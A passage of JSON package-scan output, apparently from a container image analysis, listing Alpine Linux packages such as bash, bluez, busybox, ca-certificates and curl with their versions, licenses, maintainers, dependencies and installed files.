"usr/share/alsa/pcm/surround21.conf", "usr/share/alsa/pcm/surround40.conf", "usr/share/alsa/pcm/surround41.conf", "usr/share/alsa/pcm/surround50.conf", "usr/share/alsa/pcm/surround51.conf", "usr/share/alsa/pcm/surround71.conf" ], "AnalyzedBy": "apk" }, { "ID": "alsa-plugins-pulse@1.2.12-r2", "Name": "alsa-plugins-pulse", "Identifier": { "PURL": "pkg:apk/alpine/alsa-plugins-pulse@1.2.12-r2?arch=x86_64\u0026distro=3.24.1", "UID": "b712d54cd96e0515" }, "Version": "1.2.12-r2", "Arch": "x86_64", "SrcName": "alsa-plugins", "SrcVersion": "1.2.12-r2", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Taner Tas \u003ctaner76@gmail.com\u003e", "DependsOn": [ "alsa-lib@1.2.15.3-r0", "libpulse@17.0-r7", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:067c8002ff6216ad7f53b45ebdb08fc2e65831c0", "InstalledFiles": [ "etc/alsa/conf.d/50-pulseaudio.conf", "etc/alsa/conf.d/99-pulseaudio-default.conf", "usr/lib/alsa-lib/libasound_module_conf_pulse.so", "usr/lib/alsa-lib/libasound_module_ctl_pulse.so", "usr/lib/alsa-lib/libasound_module_pcm_pulse.so", "usr/share/alsa/alsa.conf.d/50-pulseaudio.conf" ], "AnalyzedBy": "apk" }, { "ID": "aom-libs@3.14.1-r0", "Name": "aom-libs", "Identifier": { "PURL": "pkg:apk/alpine/aom-libs@3.14.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "1bc24e9acfd5ff91" }, "Version": "3.14.1-r0", "Arch": "x86_64", "SrcName": "aom", "SrcVersion": "3.14.1-r0", "Licenses": [ "BSD-2-Clause", "custom" ], "Maintainer": "Oleg Titov \u003coleg.titov@gmail.com\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:fa8c19f848e5467ca7f93b9a80655fccd44fddf4", "InstalledFiles": [ "usr/lib/libaom.so.3", "usr/lib/libaom.so.3.14.1" ], "AnalyzedBy": "apk" }, { "ID": "apk-tools@3.0.6-r0", "Name": "apk-tools", "Identifier": { "PURL": "pkg:apk/alpine/apk-tools@3.0.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c6097cc137f3de8c" }, "Version": "3.0.6-r0", "Arch": "x86_64", "SrcName": "apk-tools", "SrcVersion": "3.0.6-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "ca-certificates-bundle@20260611-r0", "libapk@3.0.6-r0", "libcrypto3@3.5.7-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:043333589798a1f52e09ae63f026c6c8fa676d34", "InstalledFiles": [ "sbin/apk" ], "AnalyzedBy": "apk" }, { "ID": "bash@5.3.9-r1", "Name": "bash", "Identifier": { "PURL": "pkg:apk/alpine/bash@5.3.9-r1?arch=x86_64\u0026distro=3.24.1", "UID": "89d1544dc9bae858" }, "Version": "5.3.9-r1", "Arch": "x86_64", "SrcName": "bash", "SrcVersion": "5.3.9-r1", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r31", "musl@1.2.6-r2", "readline@8.3.3-r1" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:2ce9606f1c31438297b40df5875dbceb66afb675", "InstalledFiles": [ "bin/bash", "etc/bash/bashrc", "etc/profile.d/00-bashrc.sh", "usr/lib/bash/accept", "usr/lib/bash/basename", "usr/lib/bash/chmod", "usr/lib/bash/csv", "usr/lib/bash/cut", "usr/lib/bash/dirname", "usr/lib/bash/dsv", "usr/lib/bash/fdflags", "usr/lib/bash/finfo", "usr/lib/bash/fltexpr", "usr/lib/bash/getconf", "usr/lib/bash/head", "usr/lib/bash/id", "usr/lib/bash/kv", "usr/lib/bash/ln", "usr/lib/bash/logname", "usr/lib/bash/mkdir", "usr/lib/bash/mkfifo", "usr/lib/bash/mktemp", "usr/lib/bash/mypid", "usr/lib/bash/pathchk", "usr/lib/bash/print", "usr/lib/bash/printenv", "usr/lib/bash/push", "usr/lib/bash/realpath", "usr/lib/bash/rm", "usr/lib/bash/rmdir", "usr/lib/bash/seq", "usr/lib/bash/setpgid", "usr/lib/bash/sleep", "usr/lib/bash/stat", "usr/lib/bash/strftime", "usr/lib/bash/strptime", "usr/lib/bash/sync", "usr/lib/bash/tee", "usr/lib/bash/truefalse", "usr/lib/bash/tty", "usr/lib/bash/uname", "usr/lib/bash/unlink", "usr/lib/bash/whoami" ], "AnalyzedBy": "apk" }, { "ID": "bind-libs@9.20.23-r0", "Name": "bind-libs", "Identifier": { "PURL": "pkg:apk/alpine/bind-libs@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "584c852dfc917f33" }, "Version": "9.20.23-r0", "Arch": "x86_64", "SrcName": "bind", "SrcVersion": "9.20.23-r0", "Licenses": [ "MPL-2.0" ], "Maintainer": "Mike Crute \u003cmike@crute.us\u003e", "DependsOn": [ "fstrm@0.6.1-r4", "json-c@0.18-r1", "krb5-libs@1.22.2-r1", "libcrypto3@3.5.7-r0", "libssl3@3.5.7-r0", "libuv@1.52.1-r0", "libxml2@2.13.9-r2", "musl@1.2.6-r2", "nghttp2-libs@1.69.0-r0", "protobuf-c@1.5.2-r2", "userspace-rcu@0.15.3-r0", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:b4a9659866c6f7afe7b7f99aa1a94898dac80555", "InstalledFiles": [ "usr/lib/libdns-9.20.23.so", "usr/lib/libisc-9.20.23.so", "usr/lib/libisccc-9.20.23.so", "usr/lib/libisccfg-9.20.23.so", "usr/lib/libns-9.20.23.so" ], "AnalyzedBy": "apk" }, { "ID": "bind-tools@9.20.23-r0", "Name": "bind-tools", "Identifier": { "PURL": "pkg:apk/alpine/bind-tools@9.20.23-r0?arch=x86_64\u0026distro=3.24.1", "UID": "25a5950e2cc88f2" }, "Version": "9.20.23-r0", "Arch": "x86_64", "SrcName": "bind", "SrcVersion": "9.20.23-r0", "Licenses": [ "MPL-2.0" ], "Maintainer": "Mike Crute \u003cmike@crute.us\u003e", "DependsOn": [ "bind-libs@9.20.23-r0", "krb5-libs@1.22.2-r1", "musl@1.2.6-r2", "protobuf-c@1.5.2-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:43e5bc379fbab22059b3e0716ca38b419a89f992", "InstalledFiles": [ "usr/bin/arpaname", "usr/bin/delv", "usr/bin/dig", "usr/bin/dnstap-read", "usr/bin/host", "usr/bin/mdig", "usr/bin/named-checkzone", "usr/bin/named-compilezone", "usr/bin/named-journalprint", "usr/bin/named-rrchecker", "usr/bin/nslookup", "usr/bin/nsupdate", "usr/sbin/ddns-confgen", "usr/sbin/rndc-confgen", "usr/sbin/tsig-keygen" ], "AnalyzedBy": "apk" }, { "ID": "bluez@5.86-r2", "Name": "bluez", "Identifier": { "PURL": "pkg:apk/alpine/bluez@5.86-r2?arch=x86_64\u0026distro=3.24.1", "UID": "5fbd969bf31214af" }, "Version": "5.86-r2", "Arch": "x86_64", "SrcName": "bluez", "SrcVersion": "5.86-r2", "Licenses": [ "GPL-2.0-or-later", "BSD-2-Clause", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "dbus-libs@1.16.2-r2", "dbus@1.16.2-r2", "eudev-libs@3.2.14-r6", "glib@2.88.1-r1", "json-c@0.18-r1", "musl@1.2.6-r2", "readline@8.3.3-r1" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2acf9e3a2f0cb346e1c2773fc77a6f55ae5d0ba5", "InstalledFiles": [ "etc/bluetooth/input.conf", "etc/bluetooth/main.conf", "etc/bluetooth/mesh-main.conf", "etc/bluetooth/network.conf", "etc/xdg/autostart/mpris-proxy.desktop", "usr/bin/bluemoon", "usr/bin/bluetoothctl", "usr/bin/bluez-simple-agent", "usr/bin/btattach", "usr/bin/hex2hcd", "usr/bin/isotest", "usr/bin/l2ping", "usr/bin/l2test", "usr/bin/mesh-cfgclient", "usr/bin/mesh-cfgtest", "usr/bin/mpris-proxy", "usr/bin/rctest", "usr/lib/bluetooth/bluetooth-meshd", "usr/lib/bluetooth/bluetoothd", "usr/lib/modules-load.d/bluez.conf", "usr/share/dbus-1/system-services/org.bluez.mesh.service", "usr/share/dbus-1/system-services/org.bluez.service", "usr/share/dbus-1/system.d/bluetooth-mesh.conf", "usr/share/dbus-1/system.d/bluetooth.conf", "usr/share/dbus-1/system.d/obex.conf" ], "AnalyzedBy": "apk" }, { "ID": "bluez-deprecated@5.86-r2", "Name": "bluez-deprecated", "Identifier": { "PURL": "pkg:apk/alpine/bluez-deprecated@5.86-r2?arch=x86_64\u0026distro=3.24.1", "UID": "90f18cb3f0d78f8f" }, "Version": "5.86-r2", "Arch": "x86_64", "SrcName": "bluez", "SrcVersion": "5.86-r2", "Licenses": [ "GPL-2.0-or-later", "BSD-2-Clause", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "dbus@1.16.2-r2", "eudev-libs@3.2.14-r6", "glib@2.88.1-r1", "musl@1.2.6-r2", "readline@8.3.3-r1" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:def2af293c428a8c08c1c12e6c4f36605898434d", "InstalledFiles": [ "usr/bin/ciptool", "usr/bin/gatttool", "usr/bin/hciattach", "usr/bin/hciconfig", "usr/bin/hcidump", "usr/bin/hcitool", "usr/bin/rfcomm", "usr/bin/sdptool" ], "AnalyzedBy": "apk" }, { "ID": "bluez-libs@5.86-r2", "Name": "bluez-libs", "Identifier": { "PURL": "pkg:apk/alpine/bluez-libs@5.86-r2?arch=x86_64\u0026distro=3.24.1", "UID": "7444e18c31489627" }, "Version": "5.86-r2", "Arch": "x86_64", "SrcName": "bluez", "SrcVersion": "5.86-r2", "Licenses": [ "GPL-2.0-or-later", "BSD-2-Clause", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:227679920a2b7aae9b6cfb6fd0f614d2a1be51e1", "InstalledFiles": [ "usr/lib/libbluetooth.so.3", "usr/lib/libbluetooth.so.3.19.16" ], "AnalyzedBy": "apk" }, { "ID": "brotli-libs@1.2.0-r1", "Name": "brotli-libs", "Identifier": { "PURL": "pkg:apk/alpine/brotli-libs@1.2.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "34680ab8e4de744b" }, "Version": "1.2.0-r1", "Arch": "x86_64", "SrcName": "brotli", "SrcVersion": "1.2.0-r1", "Licenses": [ "MIT" ], "Maintainer": "prspkt \u003cprspkt@protonmail.com\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:82f881516c045f06f22d7dc0a83cc64ca554ef10", "InstalledFiles": [ "usr/lib/libbrotlicommon.so.1", "usr/lib/libbrotlicommon.so.1.2.0", "usr/lib/libbrotlidec.so.1", "usr/lib/libbrotlidec.so.1.2.0", "usr/lib/libbrotlienc.so.1", "usr/lib/libbrotlienc.so.1.2.0" ], "AnalyzedBy": "apk" }, { "ID": "busybox@1.37.0-r31", "Name": "busybox", "Identifier": { "PURL": "pkg:apk/alpine/busybox@1.37.0-r31?arch=x86_64\u0026distro=3.24.1", "UID": "771020c43c8440bf" }, "Version": "1.37.0-r31", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r31", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:b5405ebc02f7dd8be95b6265c54b243d5456ab8f", "InstalledFiles": [ "bin/busybox", "etc/securetty", "etc/busybox-paths.d/busybox", "etc/logrotate.d/acpid", "etc/network/if-up.d/dad", "etc/udhcpc/udhcpc.conf", "usr/share/udhcpc/default.script" ], "AnalyzedBy": "apk" }, { "ID": "busybox-binsh@1.37.0-r31", "Name": "busybox-binsh", "Identifier": { "PURL": "pkg:apk/alpine/busybox-binsh@1.37.0-r31?arch=x86_64\u0026distro=3.24.1", "UID": "1ec8a3d5d2b63297" }, "Version": "1.37.0-r31", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r31", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "busybox@1.37.0-r31" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:5cbd14acc6f1804c5bac6c77dc2c492f010b0fc7", "InstalledFiles": [ "bin/sh" ], "AnalyzedBy": "apk" }, { "ID": "c-ares@1.34.6-r0", "Name": "c-ares", "Identifier": { "PURL": "pkg:apk/alpine/c-ares@1.34.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "3262f09038595d05" }, "Version": "1.34.6-r0", "Arch": "x86_64", "SrcName": "c-ares", "SrcVersion": "1.34.6-r0", "Licenses": [ "MIT" ], "Maintainer": "Carlo Landmeter \u003cclandmeter@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:acf16d6295be396b5acf0133c3ce37b01af2d374", "InstalledFiles": [ "usr/lib/libcares.so.2", "usr/lib/libcares.so.2.19.5" ], "AnalyzedBy": "apk" }, { "ID": "ca-certificates@20260611-r0", "Name": "ca-certificates", "Identifier": { "PURL": "pkg:apk/alpine/ca-certificates@20260611-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c862a4117125b2a9" }, "Version": "20260611-r0", "Arch": "x86_64", "SrcName": "ca-certificates", "SrcVersion": "20260611-r0", "Licenses": [ "MPL-2.0", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r31", "libcrypto3@3.5.7-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:8f2a04abeb54b331e2970a0a0dffb7bd6bdde567", "InstalledFiles": [ "etc/ca-certificates.conf", "etc/apk/protected_paths.d/ca-certificates.list", "etc/ca-certificates/update.d/certhash", "usr/bin/c_rehash", "usr/sbin/update-ca-certificates", "usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt", "usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt", "usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt", "usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt", "usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.crt", "usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.crt", "usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt", "usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA1.crt", "usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA2.crt", "usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt", "usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt", "usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt", "usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt", "usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt", "usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt", "usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt", "usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt", "usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt", "usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt", "usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_2_2023.crt", "usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt", "usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_2_2023.crt", "usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt", "usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt", "usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt", "usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt", "usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt", "usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R1.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R3.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R4.crt", "usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt", "usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt", "usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt", "usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt", "usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt", "usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt", "usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt", "usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt", "usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt", "usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/Izenpe.com.crt", "usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt", "usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt", "usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt", "usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt", "usr/share/ca-certificates/mozilla/OISTE_Server_Root_ECC_G1.crt", "usr/share/ca-certificates/mozilla/OISTE_Server_Root_RSA_G1.crt", "usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt", "usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt", "usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt", "usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt", "usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt", "usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt", "usr/share/ca-certificates/mozilla/SSL.com_TLS_ECC_Root_CA_2022.crt", "usr/share/ca-certificates/mozilla/SSL.com_TLS_RSA_Root_CA_2022.crt", "usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt", "usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt", "usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA14.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA15.crt", "usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt", "usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt", "usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/SwissSign_RSA_TLS_Root_CA_2022_-_1.crt", "usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt", "usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt", "usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt", "usr/share/ca-certificates/mozilla/TWCA_CYBER_Root_CA.crt", "usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt", "usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Telekom_Security_TLS_ECC_Root_2020.crt", "usr/share/ca-certificates/mozilla/Telekom_Security_TLS_RSA_Root_2023.crt", "usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt", "usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G3.crt", "usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G4.crt", "usr/share/ca-certificates/mozilla/TrustAsia_TLS_ECC_Root_CA.crt", "usr/share/ca-certificates/mozilla/TrustAsia_TLS_RSA_Root_CA.crt", "usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt", "usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt", "usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt", "usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt", "usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt", "usr/share/ca-certificates/mozilla/e-Szigno_TLS_Root_CA_2023.crt", "usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt", "usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt", "usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt", "usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt", "usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt", "usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt" ], "AnalyzedBy": "apk" }, { "ID": "ca-certificates-bundle@20260611-r0", "Name": "ca-certificates-bundle", "Identifier": { "PURL": "pkg:apk/alpine/ca-certificates-bundle@20260611-r0?arch=x86_64\u0026distro=3.24.1", "UID": "20337c2ea28bef28" }, "Version": "20260611-r0", "Arch": "x86_64", "SrcName": "ca-certificates", "SrcVersion": "20260611-r0", "Licenses": [ "MPL-2.0", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:c9534a03750bdfae341f10969016090fc11febbd", "InstalledFiles": [ "etc/ssl/cert.pem", "etc/ssl/certs/ca-certificates.crt", "etc/ssl1.1/cert.pem", "etc/ssl1.1/certs" ], "AnalyzedBy": "apk" }, { "ID": "cjson@1.7.19-r1", "Name": "cjson", "Identifier": { "PURL": "pkg:apk/alpine/cjson@1.7.19-r1?arch=x86_64\u0026distro=3.24.1", "UID": "e30b60a4d7829162" }, "Version": "1.7.19-r1", "Arch": "x86_64", "SrcName": "cjson", "SrcVersion": "1.7.19-r1", "Licenses": [ "MIT" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:bef76eee0c6bd78a538d2069509c380b8a286e5a", "InstalledFiles": [ "usr/lib/libcjson.so.1", "usr/lib/libcjson.so.1.7.19" ], "AnalyzedBy": "apk" }, { "ID": "confuse@3.3-r4", "Name": "confuse", "Identifier": { "PURL": "pkg:apk/alpine/confuse@3.3-r4?arch=x86_64\u0026distro=3.24.1", "UID": "a865f23149cf7fbb" }, "Version": "3.3-r4", "Arch": "x86_64", "SrcName": "confuse", "SrcVersion": "3.3-r4", "Licenses": [ "ISC" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e3c0bc844e1c2e1162bbc955f0a91a60b3bb02ac", "InstalledFiles": [ "usr/lib/libconfuse.so.2", "usr/lib/libconfuse.so.2.1.0" ], "AnalyzedBy": "apk" }, { "ID": "curl@8.20.0-r1", "Name": "curl", "Identifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "Version": "8.20.0-r1", "Arch": "x86_64", "SrcName": "curl", "SrcVersion": "8.20.0-r1", "Licenses": [ "curl" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "libcurl@8.20.0-r1", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:0dba43c555ea0dc7543073706f196288a6744f91", "InstalledFiles": [ "usr/bin/curl", "usr/bin/wcurl" ], "AnalyzedBy": "apk" }, { "ID": "dbus@1.16.2-r2", "Name": "dbus", "Identifier": { "PURL": "pkg:apk/alpine/dbus@1.16.2-r2?arch=x86_64\u0026distro=3.24.1", "UID": "8efb1f70bb266e40" }, "Version": "1.16.2-r2", "Arch": "x86_64", "SrcName": "dbus", "SrcVersion": "1.16.2-r2", "Licenses": [ "AFL-2.1", "GPL-2.0-or-later" ], "Maintainer": "team/alpine-desktop \u003cachill@achill.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r31", "dbus-libs@1.16.2-r2", "libexpat@2.8.1-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:0269e61503eaa133a67506fb2404e424544f67a0", "InstalledFiles": [ "etc/dbus-1/session.conf", "etc/dbus-1/system.conf", "usr/bin/dbus-cleanup-sockets", "usr/bin/dbus-daemon", "usr/bin/dbus-monitor", "usr/bin/dbus-run-session", "usr/bin/dbus-send", "usr/bin/dbus-test-tool", "usr/bin/dbus-update-activation-environment", "usr/bin/dbus-uuidgen", "usr/share/dbus-1/session.conf", "usr/share/dbus-1/system.conf", "usr/share/xml/dbus-1/busconfig.dtd", "usr/share/xml/dbus-1/catalog.xml", "usr/share/xml/dbus-1/introspect.dtd" ], "AnalyzedBy": "apk" }, { "ID": "dbus-daemon-launch-helper@1.16.2-r2", "Name": "dbus-daemon-launch-helper", "Identifier": { 